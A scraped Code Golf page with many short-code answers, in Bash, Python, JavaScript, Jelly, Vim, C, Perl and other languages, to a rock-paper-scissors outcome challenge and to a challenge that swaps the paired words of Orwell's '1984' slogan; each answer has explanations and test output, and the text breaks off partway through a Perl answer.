answer: # Pure Bash, 43 35 ``` echo $[(7+(${#2}^3)-(${#1}^3))%3-1] ``` * Get the string length of each arg (`4`, `5`, `8` respectively for Rock, Paper, Scissors) * XOR each with 3 to give `7`, `6`, `11` (which when taken mod 3 give `1`, `0`, `2`) * Then subtract and fiddle with mod 3 to get the desired result. [Try it online](https://tio.run/nexus/bash#K8/IzElVKEpNTLFWSMnnKk4tUVAJcg3wifyfmpyRr6ASrWGuraFSrWxUG2esqQtiGYJYmqrGuoax/1Py81L/B@UnZysEJBakFnGBSYXg5Mzi4vyiYi4YQwGkhAusDsyCKINogauB6wKrwzQD2QawKQA). [Answer] # Mathematica, 32 bytes ``` Mod[{1,-1}.(Length/@#-3)!,3,-1]& ``` Unnamed function taking an ordered pair of lists of characters, such as `{{"R","o","c","k"},{"P","a","p","e","r"}}`, and returning `-1|0|1`. I wanted the code to avoid not only the three input words, but also the way-too-long function name `ToCharacterCode`; so I worked with the length `4,5,8` of the input words instead, and looked for a short function of those lengths that gave distinct answers modulo 3. (Integer division by 2 is mathematically promising, but those functions have too-long names in Mathematica.) It turns out that taking the factorial of (the length – 3) gives the answers `1,2,120`, which are `1,-1,0` modulo 3. Then we just compute, modulo 3, the difference of the two values (via the dot product `{1,-1}.{x,y} = x-y`, which is a good way when the two values are in a list). [Answer] # Ruby, 36 35 30 bytes ``` a=->a,b{(a+b)[12]?a<=>b:b<=>a} ``` [Try it on ideone.com](https://repl.it/FGkY/1) Test output: ``` a=->a,b{(a+b)[12]?a<=>b:b<=>a} puts a.call("Rock", "Rock") puts a.call("Rock", "Paper") puts a.call("Rock", "Scissors") puts a.call("Paper", "Rock") puts a.call("Paper", "Paper") puts a.call("Paper", "Scissors") puts a.call("Scissors", "Rock") puts a.call("Scissors", "Paper") puts a.call("Scissors", "Scissors") 0 -1 1 1 0 -1 -1 1 0 ``` Takes advantage of the fact that 7 of the 9 correct results are generated just by doing a lexicographic comparison using the spaceship operator `<=>`. The `(a+b)[12]` just reverses the inputs to the comparison if the inputs are `Paper` and `Scissors` (and also `Scissors` `Scissors` - but that's `0` either way round). With thanks to Horváth Dávid for saving me a character, and thanks to G B for saving me another 5. [Answer] # [Python](https://docs.python.org/), ~~39~~ ~~36~~ ~~34~~ 33 bytes ``` lambda x,y:2-(94>>len(6*x+y)%7)%4 ``` [Try it online!](https://tio.run/nexus/python2#S1OwVYj5n5OYm5SSqFChU2llpKthaWJnl5Oap2GmVaFdqalqrqlq8j8tv0ghUSEzT0E9KD85W11HQT0gsSC1CMQITs4sLs4vKla34uIEKUsirIyzoCgzr0RDXbVYAYh07RRUU9QVVBU0EnUUknQU0sC0pqbmfwA "Python 3 – TIO Nexus") ### How it works Let's take a look at a few values of the length of six copies of **x** and one copy of **y** modulo **7**. ``` l(x,y) =: x y len(x) len(y) len(6*x+y)%7 -------------------------------------------- Rock Rock 4 4 0 Rock Paper 4 5 1 Rock Scissors 4 8 4 Paper Rock 5 4 6 Paper Paper 5 5 0 Paper Scissors 5 8 3 Scissors Rock 8 4 3 Scissors Paper 8 5 4 Scissors Scissors 8 8 0 ``` We can encode the outcomes (**{-1, 0, 1}**) by mapping them into the set **{0, 1, 2, 3}**. For example, the mapping **t ↦ 2 - t** achieves this and is its own inverse. Let's denote the outcome of **x** and **y** by **o(x, y)**. Then: ``` x y l(x,y) o(x,y) 2-o(x,y) (2-o(x,y))<<l(x,y) ----------------------------------------------------------- Rock Rock 0 0 2 10₂ Rock Paper 1 -1 3 110₂ Rock Scissors 4 1 1 010000₂ Paper Rock 6 1 1 01000000₂ Paper Paper 0 0 2 10₂ Paper Scissors 3 -1 3 11000₂ Scissors Rock 3 -1 3 11000₂ Scissors Paper 4 1 1 010000₂ Scissors Scissors 0 0 2 10₂ ``` Luckily, the bits in the last columns all agree with each other, so we can OR them to form a single integer **n** and retrieve **o(x, y)** as **2 - ((n ≫ o(x,y)) % 4)**. The value of **n** is **94**. [Answer] ## [Retina](https://github.com/m-ender/retina), ~~35~~ 31 bytes ``` G`k P|r S|s R *\)`.+ - D`\w+ . ``` [Try it online!](https://tio.run/nexus/retina#U9VwT@AC4v/uCdkKATVFCsE1xQpBXFoxmgl62ly6XC4JMeXaXAp6//8H5SdnK4AILjArILEgtQjCDE7OLC7OLyrmAotB1ECYEEUQNlwVjAFRCOdB1MK5MAYA "Retina – TIO Nexus") ### Explanation This works in two steps. First, we print the minus signs for the relevant inputs. Then we print a `0` for ties and a `1` otherwise. ``` G`k P|r S|s R *\)`.+ - ``` This is two stages. The `)` in the second stage groups them together, the `*` makes them a dry run (which means the input string will be restored after they were processed, but the result will be printed) and `\` suppresses printing of a trailing linefeed. The two stages together will print a `-` if applicable. The first stage is a `G`rep stage which only keeps the line if it contains either `k P`, `r S`, or `s R`. These correspond to the cases where we need to output `-1`. If it's not one of those cases, the input will be replaced with an empty string. The second stage replaces `.+` (the entire string, but only if it contains at least one character) with `-`. So this prints a `-` for those three cases and nothing otherwise. ``` D`\w+ . ``` This is two more stages. The first stage is a `D`eduplication. It matches words and removes duplicates. So if and only if the input is a tie, this drops the second word. The second stage counts the number of matches of `.`, which is a space followed by any character. If the input was a tie, and the second word was removed, this results in `0`. Otherwise, the second word is still in place, and there's one match, so it prints `1` instead. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~18~~ ~~17~~ ~~15~~ ~~10~~ 9 bytes 6 bytes saved with *Digital Trauma's* [input length trick](https://codegolf.stackexchange.com/a/106508/47066) ``` €g3^Æ>3%< ``` Takes input as `[SecondPlayersChoice,FirstPlayersChoice]` [Try it online!](https://tio.run/nexus/05ab1e#@/@oaU26cdzhNjtjVZv//6PVg/KTs9V11AMSC1KL1GMB) or [Validate all test-cases](https://tio.run/nexus/05ab1e#@290eHFZpU7lo6Y16cZxh9vsjFVtdP7/j1YPyk/OVtdRD0gsSC0C0sHJmcXF@UXF6rEA) **Alternative 9 byte solution:** `íø¬ÇÆ>3%<` **Explanation** ``` €g # length of each in input 3^ # xor 3 Æ # reduce by subtraction > # increment 3% # modulus 3 < # decrement ``` **Previous 15 byte solution** ``` A-D{„PSÊiR}Ç`.S ``` [Try it online!](https://tio.run/nexus/05ab1e#@@@o61L9qGFeQPDhrsyg2sPtCXrB//8H5SdnByQWpBYBAA) or [Validate all test-cases](https://tio.run/nexus/05ab1e#@290eHFZpU6ll6OuS/WjhnkBwYe7MoNqD7cn6AXr1P7/H60elJ@cra6jHpBYkFoEpIOTM4uL84vUYwE) **Explanation** ``` A- # remove the lowercase alphabet from the input (leaves a 2 char string) D{ # sort a copy of the leftover „PSÊ # check if the copy isn't "PS" (our special case) iR} # if true, reverse the string to get the correct sign Ç` # convert the two letters to their character codes .S # compare their values ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 8 bytes ``` L€Iµ-*×Ṡ ``` [Try it online!](https://tio.run/nexus/jelly#@@/zqGmN56GtulqHpz/cueD/o4Y5QfnJ2UAqILEgtQhIBydnFhfnFxU/apj7cOd0o0NbvYE6ju453A6kHu6YlwWkgKoUdO0UgCoi/wMA "Jelly – TIO Nexus") (test suite, casts to integer for clarity) ### How it works ``` L€Iµ-*×Ṡ Main link. Argument: A (string array) L€ Take the length of each string. I Increments; compute the forward difference of the length. µ Begin a new chain with the difference d as argument. -* Compute (-1)**d. ×Ṡ Multiply the result with the sign of d. ``` [Answer] ## CJam, ~~15~~ ~~14~~ 12 bytes ``` rW=rW=-J+3%( ``` Take the ascii code of the last character of each string, then returns: `(a1 - a2 + 19) % 3 - 1` Test it [here](http://cjam.aditsu.net/#code=rW%3DrW%3D-J%2B3%25(&input=Rock%20Paper)! [Answer] # [Python 2](https://docs.python.org/2/), ~~46~~ 40 bytes ``` lambda x,y:+(x!=y,-1)[x[0]+y[0]in'RPSR'] ``` [Try it online!](https://tio.run/nexus/python2#hYpBDoMgFAXX9hSvC/IhYtJuTewZDC6tC9CSkLZgoAs5PdVeoMnkzVuMRYd7eem3WTQ2mduab@cuy@Yqxm28THXex3lS/aBoKjZEaDgPUmF@kgT1en3E4wyzSynERO2pOjLzP6vW6PyHE0vYaW5gC4GBawkjYX8WQpQv "Python 2 – TIO Nexus") With many thanks to @Dennis for letting me borrow his Try it online test code and for saving me 6 bytes. **Edit** @hashcode55 - Pretty much as you describe. (x!=y,-1) is a two element sequence and [x[0]+y[0]in'RPSR'] is computing which element to take. If the first letter of x + the first letter of y is in the character list then it will evaluate to True or 1 so (x!=y,-1)[1] will be returned. If it is not then (x!=y,-1)[0]. This is where it gets a bit tricky. The first element is in itself effectively another if. If x!=y then the first element will be True otherwise it will be False so if x[0]+y[0]in'RPSR' is false then either True or False will be returned depending on whether x==y. The + is a bit sneaky and thanks again to @Dennis for this one. The x!=y will return a literal True or False. We need a 1 or a 0. I still don't quite know how but the + does this conversion. I can only assume that by using a mathematical operator on True/False it is forcing it to be seen as the integer equivalent. Obviously the + in front of the -1 will still return -1. Hope this helps! [Answer] ## JavaScript (ES6), ~~46~~ 38 bytes ``` (a,b)=>(4+!b[4]+!b[5]-!a[4]-!a[5])%3-1 ``` Makes use of the fact that Rock-Paper-Scissors is cyclic. JavaScript has neither spaceship nor balanced ternary operators, otherwise the answer would be `(a,b)=>((b<=>'Rock')-(a<=>'Rock'))%%3`. Edit: Saved 8 bytes thanks to @WashingtonGuedes. [Answer] # [MATL](https://github.com/lmendo/MATL), ~~14~~ 13 bytes ``` TTt_0vic1Z)d) ``` [Try it online!](https://tio.run/nexus/matl#@x8SUhJvUJaZbBilmaL5/3@1enByZnFxflGxuoJ6QGJBapF6LRcA "MATL – TIO Nexus") Or [verify all test cases](https://tio.run/nexus/matl#S/gfElISb1CWmWwYpZmi@d8l5H@1elB@cra6AoSq5YLzAxILUouQBYKTM4uL84uKwWIQWSRdMAGENpgIij44B0krkhhCN5IgkgFcXAA). ### Explanation If the ASCII code of the initial letter of the first string is subtracted from that of the second string we get the value in the **D** column below. Taking modulo 5 gives the value **M**. The final value in parentheses is the desired result, **R**. ``` D M R --- --- --- Rock Rock -> 0 -> 0 ( 0) Rock Paper -> −2 -> 3 (−1) Rock Scissors -> 1 -> 1 ( 1) Paper Rock -> 2 -> 2 ( 1) Paper Paper -> 0 -> 0 ( 0) Paper Scissors -> 3 -> 3 (−1) Scissors Rock -> −1 -> 4 (−1) Scissors Paper -> −3 -> 2 ( 1) Scissors Scissors -> 0 -> 0 ( 0) ``` Thus if we compute **D** and then **M**, to obtain **R** we only need to map 0 to 0; 1 and 2 to 1; 3 and 4 to −1. This can be done by indexing into an array of five entries equal to 0, 1 or −1. Since indexing in MATL is 1-based and modular, the array should be `[1, 1, −1, −1, 0]` (the first entry has index 1, the last has index 5 or equivalently 0). Finally, the modulo 5 operation can luckily be avoided, because it is implicitly carried out by the modular indexing. ``` TT % Push [1 1] t_ % Duplicate, negate: pushes [−1 −1] 0 % Push 0 v % Concatenate vertically into the 5×1 array [1; 1; −1; −1; 0] i % Input cell array of strings c % Convert to 2D char array, right-padding with zeros if necessary 1Z) % Take the first column. Gives a 2×1 array of the initial letters d % Difference ) % Index into array. Implicit display ``` [Answer] # [CJam](https://sourceforge.net/p/cjam), 12 bytes ``` 0XXWW]rcrc-= ``` The two inputs are space-separated. Their order is reversed with respect to that in the challenge text. [Try it online!](https://tio.run/nexus/cjam#@28QEREeHluUXJSsa/v/f1B@crYCiAAA "CJam – TIO Nexus") Or [verify all test cases](https://tio.run/nexus/cjam#q/5vEBERHh5blFyUrGv7v6DWUut/UH5ytgKI4ApILEgtgjCDkzOLi/OLiiE8sBKwLFQNhA1XBOGCVcHEoArhXLhaGAMA). ### Explanation Translation of my [MATL answer](https://codegolf.stackexchange.com/a/106520/36398). This exploits the fact that in CJam `c` (convert to char) applied on a string takes its first character. Also, the array for the mapping is different because indexing in CJam is 0-based. ``` 0XXWW e# Push 0, 1, 1, -1, -1 ] e# Pack into an array rc e# Read whitespace-separated token as a string, and take its first char rc e# Again - e# Subtract code points of characters = e# Index into array. Implicitly display ``` [Answer] # Python 3, 54 bytes ``` lambda o,t:(o!=t)*[-1,1]['RPS'['PS'.find(t[0])]!=o[0]] ``` [Try it online!](https://tio.run/nexus/python3#DcXBDoAQGADgV@G/oKnl2uYdTEc5KNmswsz7y@X7ApLo6K/7Tu9Q5m2jGcvGJjMLLqwhWu3EkMESYvK0mdUyi2Ue215qTI0GCjpfD3BQrtwVGOs/) [Answer] # Java 7, 82 bytes ``` int c(String...a){int x=(a[0].charAt(1)-a[1].charAt(1))%5/2;return x%2==x?x:x/-2;} ``` **Ungolfed:** ``` int c(String... a){ int x = (a[0].charAt(1) - a[1].charAt(1)) % 5 / 2; return x%2 == x ? x : x / -2; } ``` **Explanation:** * The second letters are `o`, `a` and `c`, with the ASCII decimals `111`, `97` and `99`. * If we subtract these from each other for the test cases we have the following results: + `0` (Rock, Rock) + `14` (Rock, Paper) + `12` (Paper, Scissors) + `-14` (Paper, Rock) + `0` (Paper, Paper) + `-2` (Paper, Scissors) + `-2` (Scissors, Rock) + `2` (Scissors, Paper) + `0` (Scissors, Scissors) * If we take modulo 5 for each, we get `4`, `2`, `-4`, `-2`, `-2`, `2`. * Divided by 2 `x` is now the following for the test cases: + x=0 (Rock, Rock) + x=2 (Rock, Paper) + x=1 (Paper, Scissors) + x=-2 (Paper, Rock) + x=0 (Paper, Paper) + x=-1 (Paper, Scissors) + x=-1 (Scissors, Rock) + x=1 (Scissors, Paper) + x=0 (Scissors, Scissors) * Only the `2` and `-2`are incorrect, and should have been `-1` and `1`instead. So if `x%2 != x` (everything above `1` or below `-1`) we divide by `-2` to fix these two 'edge-cases'. **Test code:** [Try it here.](https://ideone.com/nyNDZq) ``` class M{ static int c(String...a){int x=(a[0].charAt(1)-a[1].charAt(1))%5/2;return x%2==x?x:x/-2;} public static void main(String[] a){ String R = "Rock", P = "Paper", S = "Scissors"; System.out.println(c(R, R)); // 0 System.out.println(c(R, P)); // -1 System.out.println(c(R, S)); // 1 System.out.println(c(P, R)); // 1 System.out.println(c(P, P)); // 0 System.out.println(c(P, S)); // -1 System.out.println(c(S, R)); // -1 System.out.println(c(S, P)); // 1 System.out.println(c(S, S)); // 0 } } ``` **Output:** ``` 0 -1 1 1 0 -1 -1 1 0 ``` [Answer] # dc, 18 ``` 1?Z9+2/rZ1+2/-3%-p ``` [Try it online](https://tio.run/nexus/bash#K8/IzElVKEpNTLFWSMnnSk3OyFdQUglyDfCJVFKoUUhJVtBNVVD/b2gfZaltpF8UZQgkdY1VdQv@q3Ol5Oel/o8Oyk/OjlWIDkgsSC2K5YLSCtHByZnFxflFxUAhOFMBopgLpgfKg2mBGYGkHskUqB7s5qLbDjEZAA). Note that the two args are passed (space-separated) on one line to STDIN. The args are contained in square brackets `[ ]` as this is how `dc` likes its strings. `dc` has *very* limited string handling, but it turns out one of the things you can do is use the `Z` command to get a string length, which luckily is distinct for "Rock", "Paper" and "Scissors", and can be fairly simply arithmetically manipulated to give the desired result. [Answer] # PHP, 34 bytes ``` <?=md5("BMn$argv[1]$argv[2]")%3-1; ``` [Answer] # JavaScript, ~~37~~, ~~32~~, 31 bytes ``` a=>b=>a==b?0:!(a+b)[12]^a>b||-1 ``` If a equals b, output zero. Otherwise, xor the result of checking if length not greater than 12 (comparison of Scissors and Paper) with the comparison of a greater than b. If this returns 1, return it. If it returns 0, use the OR operator to replace with -1. [Answer] # [Perl 5](https://www.perl.org/) `-p`, 24 bytes ``` $_=/kS|rR|sP/-/kP|rS|sR/ ``` The input should be on stdin without separators, e.g.: ``` echo PaperRock | perl -pe'$_=/kS|rR|sP/-/kP|rS|sR/' ``` The first regexp searches for first player win, the second for his loss. The difference is printed. [Try it online!](https://tio.run/##K0gtyjH9/18l3lY/O7imKKimOEBfVz87oKYouKY4SP///6D85GwQ5gIRAYkFqUVgVnByZnFxflExF1gIrADMgqgAk3AlMAZYFYwDUQjjweh/@QUlmfl5xf91C3IA "Perl 5 – Try It Online") [Answer] # Pyth, 16 ``` t%+7h.+mx3ldQ3 ``` Probably could be shorter. ``` x3ld # lambda to get string length then XOR with 3 m Q # map over the input (array of 2 strings) .+ # difference of the two results h # flatten one-element array +7 # add 7 % 3 # mod 3 t # subtract 1 and implicit print ``` [Online](https://pyth.herokuapp.com/?code=t%25%2B7h.%2Bmx3ldQ3&test_suite=1&test_suite_input=%5B%22Rock%22%2C%20%22Paper%22%5D%0A%5B%22Paper%22%2C%20%22Scissors%22%5D%0A%5B%22Scissors%22%2C%20%22Rock%22%5D%0A%5B%22Rock%22%2C%20%22Rock%22%5D%0A%5B%22Paper%22%2C%20%22Paper%22%5D%0A%5B%22Scissors%22%2C%20%22Scissors%22%5D%0A%5B%22Rock%22%2C%20%22Scissors%22%5D%0A%5B%22Scissors%22%2C%20%22Paper%22%5D%0A%5B%22Paper%22%2C%20%22Rock%22%5D&debug=0). [Answer] # C#, ~~85~~ 84 bytes Saved 1 byte, thanks to TheLethalCoder ``` a=>b=>a==b?0:(a[0]=='R'&b[0]=='S')|(a[0]=='P'&b[0]=='R')|(a[0]=='S'&b[0]=='P')?1:-1; ``` It accepts two strings as an input, and outputs an integer. There is a tie, if the two strings are equal, otherwise it checks for the first charachter of the strings, in order to determine, which player wins. [Answer] ## Batch, 116 bytes ``` @if %1==%2 echo 0&exit/b @for %%a in (RockScissors PaperRock ScissorsPaper)do @if %%a==%1%2 echo 1&exit/b @echo -1 ``` [Answer] ## Perl, 33 bytes 32 bytes of code + `-p` flag. ``` $_=/(.+) \1/?0:-/k P|r S|s R/||1 ``` To run it: ``` perl -pe '$_=/(.+) \1/?0:-/k P|r S|s R/||1' <<< "Rock Paper" ``` *Saved 3 bytes by using the regex of Martin Ender's Retina [answer](https://codegolf.stackexchange.com/a/106502/55508). (my previous regex was `/R.*P|P.*S|S.*R/`)* **Explanation:** First, `/(.+) \1/` checks if the input contains twice the same word, if so, the result is `0`. Otherwise, `/k P|r S|s R/` deals with the case where the answer is `-1`. If this last regex is false, then `-/k P|r S|s R/`is false, so we return `1`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 9 bytes ``` L€^3Iæ%1. ``` This uses the algorithm from [@DigitalTrauma's Bash answer](https://codegolf.stackexchange.com/a/106508/12012). [Try it online!](https://tio.run/nexus/jelly#@@/zqGlNnLHn4WWqhnr/HzXMCcpPzgZSAYkFqUVAOjg5s7g4v6j4UcPchzunGx3a6g1Uf3TP4XYglQXEQCUKunYKQOnI/wA "Jelly – TIO Nexus") ### How it works ``` L€^3Iæ%1. Main link. Argument: A (string array) L€ Take the length of each string. ^3 XOR the lengths bitwise with 3. I Increments; compute the forward difference of both results. æ%1. Balanced modulo 1.5; map the results into the interval (-1.5, 1.5]. ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 19 bytes ``` -Ms(4*(Uc -Vc)/MP¹r ``` [Try it here!](http://ethproductions.github.io/japt/?v=1.4.3&code=LU1zKDQqKFVjIC1WYykvTVC5cg==&input=IlJvY2siICJTY2lzc29ycyI=) Inspired by [carusocomputing's solution](https://codegolf.stackexchange.com/a/106505/61613) Old 53-byte Solution ``` W=Ug c X=Vg c W¥X?0:W¥82©X¥83?1:W¥80©X¥82?1:W¥83©X¥80?1:J ``` [Try it online!](https://tio.run/nexus/japt#@x9uG5qsEGEblqwQfmhphL2BFZCyMDq0MgJIGdsbgrkGEK4RlGsM4RoAuV7//ysF5SdnKykoBSQWpBYpAQA) Thanks again, ETHproductions! [Answer] # PHP, ~~55~~ 53 bytes ``` <?=(3-(ord($argv[2])%6%4-ord($argv[1])%6%4+3)%3*2)%3; ``` * takes the ascii values of the first letters (from command line arguments): 82,80,83 * %6: 4,2,5 * %4: 0,2,1 * difference (b-a): + PS:1-2,SR:2-0,RP:2-0 -> -1 or 2; +3,%3 -> 2 + SP:2-1,RS:0-2,PR:0-2 -> -2 or 1; +3,%3 -> 1 + RR,PP,SS:0; +3,%3: 0 * (3-2\*x): -1,1,3 * %3: -1,1,0 **sine version, ~~49~~ 46 bytes** ``` <?=2*sin(1.3*(ord($argv[2])-ord($argv[1])))|0; ``` a golfed port of [carusocomputing´s answer](https://codegolf.stackexchange.com/a/106505#106505): 3 bytes saved by @user59178 [Answer] ## Python 2, 32 bytes ``` lambda*l:cmp(*l)*(1|-('R'in`l`)) ``` [Try it online](https://tio.run/nexus/python2#hYoxDgIhFAXr9RSvIR8I2tlsomcwa2uxH1YSIgsEvD@KFzCZZKYYjwsePfJuN9ZxdnuROio9fDobWiikNa6q@1zBCAm0ZPciA7pxedYRdxday7XRfJjGZv9vU6khvSWJhi/HK8RGEJBsYA38z0qp/gE) A fairly short "natural" solution, though not as short as Dennis's [brute-forced solution](https://codegolf.stackexchange.com/a/106530/20260). The `cmp(*l)` compares the inputs lexicographically, giving -1, 0, or +1 for smaller, equal, and greater. This gives the right negated answer on each pair of `"Paper", "Rock", "Scissors"` except on Paper vs Scissors in either order. To fix that, we multiply by -1 on any input without an 'R' in the string rep. This also flips Scissors vs Scissors and Paper vs Paper, but those gave 0 anyway. Thanks to xsot for saving a byte with the `(1|-(_))` construct to turn a Bool into ±1. This is shorter than the alternatives. ``` lambda*l:cmp(*l)*cmp(.5,'R'in`l`) lambda*l:cmp(*l)*(-1)**('R'in`l`) lambda*l:cmp(*l)*(1-2*('R'in`l`)) ``` ]
[Question] [ As [George Orwell](https://en.wikipedia.org/wiki/George_Orwell) wrote in [*1984*](https://en.wikipedia.org/wiki/Nineteen_Eighty-Four): > > [War is peace > Freedom is slavery > Ignorance is strength](http://www.sparknotes.com/lit/1984/quotes.html) > > > Write a program or function that takes in one of the six main words from the Orwell quote and outputs its counterpart. Specifically: ``` [input] -> [output] war -> peace peace -> war freedom -> slavery slavery -> freedom ignorance -> strength strength -> ignorance ``` No other input/output pairs are required. You should assume the words are always fully lowercase, as above. Alternatively, you may assume the words are always fully uppercase: `WAR -> PEACE`, `PEACE -> WAR`, etc. The shortest code in bytes wins. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 30 bytes **05AB1E** uses [CP-1252](http://www.cp1252.com). ``` “ignorance¤í‡î—™šÔÃÒry“#DIk1^è ``` [Try it online!](https://tio.run/nexus/05ab1e#@/@oYU5mel5@UWJecuqhJYfXPmpYeHjdo4Ypj1oWHV14eMrh5sOTiiqBipRdPLMN4w6v@P8frhwA "05AB1E – TIO Nexus") or as a [Test suite](https://tio.run/nexus/05ab1e#@19T9qhhTmZ6Xn5RYl5y6qElh9c@alh4eN2jhimPWhYdXXh4yuHmw5OKKoGKlF0qsw3jDq/Q@f8frp6ruKQoNS@9JIOrPLGIqyA1ESiUVpSampKfy1Wck1iWWlQJAA) **Explanation** The straight forward approach * Push the string `ignorance strength war peace freedom slavery` * Split on spaces * Get the index of the input in the list * XOR the index with 1 * Get the element in the list at that index [Answer] ## JavaScript (ES6), 80 bytes ``` s=>'freedom,,war,,strength,,slavery,peace,ignorance'.split`,`[s.charCodeAt(1)%9] ``` ### How it works We use a small lookup table based on the ASCII code of the 2nd character of each word, returning the index of its counterpart. ``` Word | 2nd char. | ASCII code | MOD 9 ----------+-----------+------------+------ war | a | 97 | 7 peace | e | 101 | 2 freedom | r | 114 | 6 slavery | l | 108 | 0 ignorance | g | 103 | 4 strength | t | 116 | 8 ``` As a side note, if mixed case was allowed, using `war PEACE FREEDOM slavery IGNORANCE strength` with modulo 6 would lead to a perfect hash. ### Test ``` let f = s=>'freedom,,war,,strength,,slavery,peace,ignorance'.split`,`[s.charCodeAt(1)%9] console.log('war', '->', f('war')) console.log('peace', '->', f('peace')) console.log('freedom', '->', f('freedom')) console.log('slavery', '->', f('slavery')) console.log('ignorance', '->', f('ignorance')) console.log('strength', '->', f('strength')) ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 24 bytes ``` “Ñ=ƘḊ¹ƥ¹Ƙ⁷ṅ8cøGị»Ḳµiɠ^1ị ``` [Try it online!](https://tio.run/nexus/jelly#@/@oYc7hibbHZjzc0XVo57GlQDzjUeP2hztbLZIP73B/uLv70O6HOzYd2pp5ckGcIZD7/395YhEA "Jelly – TIO Nexus") ### How it works First, the token ``` “Ñ=ƘḊ¹ƥ¹Ƙ⁷ṅ8cøGị» ``` indexes into Jelly's dictionary to create the string ``` strength war peace freedom slavery ignorance ``` which `Ḳ` splits at spaces to yield the string array ``` ["strength", "war", "peace", "freedom", "slavery", "ignorance"] ``` `µ` begins a new, monadic chain, with that string array as its argument, which is also the current return value. `ɠ` reads one line of input from STDIN, and `i` finds its index of the previous return value, i.e., the generated string array. Now, `^1` takes the bitwise XOR of that index and **1**. For even indices – remember that Jelly indexes are **1**-based and modular, so **strength** has index **1** and **ignorance** has index **6**/**0** – this increments the index; for odd indices, it decrements them. Finally, `ị` retrieves the string at that index from the chain's argument. [Answer] ## Mathematica, 84 bytes ``` (x="war""peace")(y="freedom""slavery")(z="ignorance""strength")/#/.x->1/.y->1/.z->1& ``` ### Explanation [More "arithmetic" with strings!](https://codegolf.stackexchange.com/a/106569/8478) As in the linked answer, this is based on the fact that you can "multiply" strings in Mathematica which will leave them unevaluated (similar to multiplying two unassigned variables `x*y`), but that Mathematica will apply basic simplifications, like cancelling factors in a division. So we start by storing the three pairs as products in `x`, `y`, `z`, respectively and multiply them all together: ``` (x="war""peace")(y="freedom""slavery")(z="ignorance""strength") ``` This evaluates to ``` "freedom" "ignorance" "peace" "slavery" "strength" "war" ``` (Mathematica automatically sorts the factors, but we don't care about the order.) We divide this by the input to remove the word we *don't* want with `.../#`, since Mathematica cancels the factors. E.g. if the input was `"peace"` we'd end up with: ``` "freedom" "ignorance" "slavery" "strength" "war" ``` Finally, we get rid of the pairs we're not interested in, by substituting each of `x`, `y` and `z` with `1`. Again, Mathematica's simplification kicks in that `1*a` is always `a`. This part is done with: ``` /.x->1/.y->1/.z->1 ``` The nice thing is that Mathematica knows that multiplication is `Orderless` so this will find the two factors regardless of whether they're adjacent in the product or not. Only the word that is opposite to the input is no longer paired in the product, so that one won't be removed and remains as the sole output. [Answer] # Vim, 60 bytes ``` D3iwar freedom ignorance peace slavery strength <esc>2?<C-r>" 3wdwVp ``` [Try it online!](https://tio.run/nexus/v#@@9inFmeWKSQVpSampKfq5CZnpdflJiXnKpQkJoIJItzEstSiyoVikuKUvPSSzIUpI3shZS4jMtTysMK/v8HagUA "V – TIO Nexus") in the backwards compatible V interpreter. Of course, if we were to switch to V we could [save one byte](https://tio.run/nexus/v#@2@cWZ5YpJBWlJqakp@rkJmel1@UmJecqlCQmggki3MSy1KLKhWKS4pS89JLMhSkjeyFErmMy1PKwwr@//8P1QcA) by using a more convenient input method. But since this is such a small difference I'd prefer using the non-golfing version. Explanation: ``` D " Delete this whole line 3i...<esc> " Insert the text three times 2? " Search backwards twice <C-r>" " For the words we deleted 3w " Move three words forward dw " Delete a word V " Select this whole line p " And paste the word we deleted over it ``` [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~120~~ 107 bytes ``` f(long*s){long r[2]={0};strcpy(r,s);s=*r>>40?*r>>56?" \n  ":"  ":"CE";*r^=*s;r[1]^=69;puts(r);} ``` Maximum pointer abuse! Requires a little-endian machine and 64-bit longs. The code contains a few unprintables, but copy-pasting should still work. [Try it online!](https://tio.run/nexus/c-gcc#@5@mkZOfl65VrFkNohWKoo1ibasNaq2LS4qSCyo1inSKNa2LbbWK7OxMDOxBlKmZvZKUsExMngybFLeSlZKoHIswo6wIkMXOIuzsqmStVRRnq1VsXRRtGBtna2ZpXVBaUqxRpGld@z8zr0QhNzEzT0OTq5qLM01DKdwxSEnTGswMcHUEaoZy3IJcXV38fWHcYB/HMNegSBjX093PP8jRD6E8OCTI1c89xAPEr/0PAA "C (gcc) – TIO Nexus") [Answer] ## Python, 81 bytes ``` l='war peace freedom slavery ignorance strength'.split() lambda s:l[l.index(s)^1] ``` Or, same length: ``` l='war slavery ignorance strength freedom peace'.split() dict(zip(l,l[::-1])).get ``` [Answer] # [Bash](https://www.gnu.org/software/bash/), ~~100~~ ~~87~~ ~~86~~ 78 bytes ``` a=peace;e=war;r=slavery;l=freedom;g=strength;t=ignorance;x=${1:1:1};echo ${!x} ``` [Try it online!](https://tio.run/nexus/bash#PctBCoAgEEDRqxR4gbYNc5jBJg1MY5QyxLNPruJv31fCi8kyMD4kIJgD3SwvBNyFeUsnOMxFOLrioeDhYhKKY6ho2rKOOrD1aTJtrl1Vf/EB "Bash – TIO Nexus") The 2nd letter of each word uniquely identifies that word, so I use that character as a variable name; the value of that variable is the corresponding other word. For instance, the 2nd letter of `peace` is `e`, and the word corresponding to `peace` is `war`, so I set `e=war`. Given an input string, the 2nd character of that string is used as a variable name to pull up the desired corresponding word, using bash's indirect parameter expansion. [Answer] # TI-Basic, ~~103~~ ~~84~~ 77 bytes ~~Reducing to a one-liner saved lots of bytes!~~ Haha, how ironic that statement was... ``` inString("EALRGT",sub(Ans,2,1 sub("WAR PEACE FREEDOMSLAVERY STRENGTH IGNORANCE ",9Ans+1,4+Ans ``` [Answer] # [Perl](https://www.perl.org/), 63 bytes 62 bytes + `-p` flag. ``` $_=(slavery,freedom,ignorance,strength,war,peace)[(ord)%6+/h/] ``` [Try it online!](https://tio.run/nexus/perl#Pc5BDoIwEIXhfU8xAiYQK@zcEE6ihlQ6QE1pm@mg4fRoCLp9i/976SEgWTiHNWubPFr1QlpkT4jaT9IMzpNyHcrIhG7gUb4VyYCqw@Kae9LF8XKqxuq@1lkLZQPJzSU1pPCcI0PvCXhEIFRaPYw1vIDvt8nPHGYu129ObDmxm2L/IP62@Nkf "Perl – TIO Nexus") `ord` returns the char code of the first character of the input word. After the `%6`, we have : ``` - freedom => ord = 102 => %6 = 0 - slavery => ord = 115 => %6 = 1 - ignorance => ord = 105 => %6 = 3 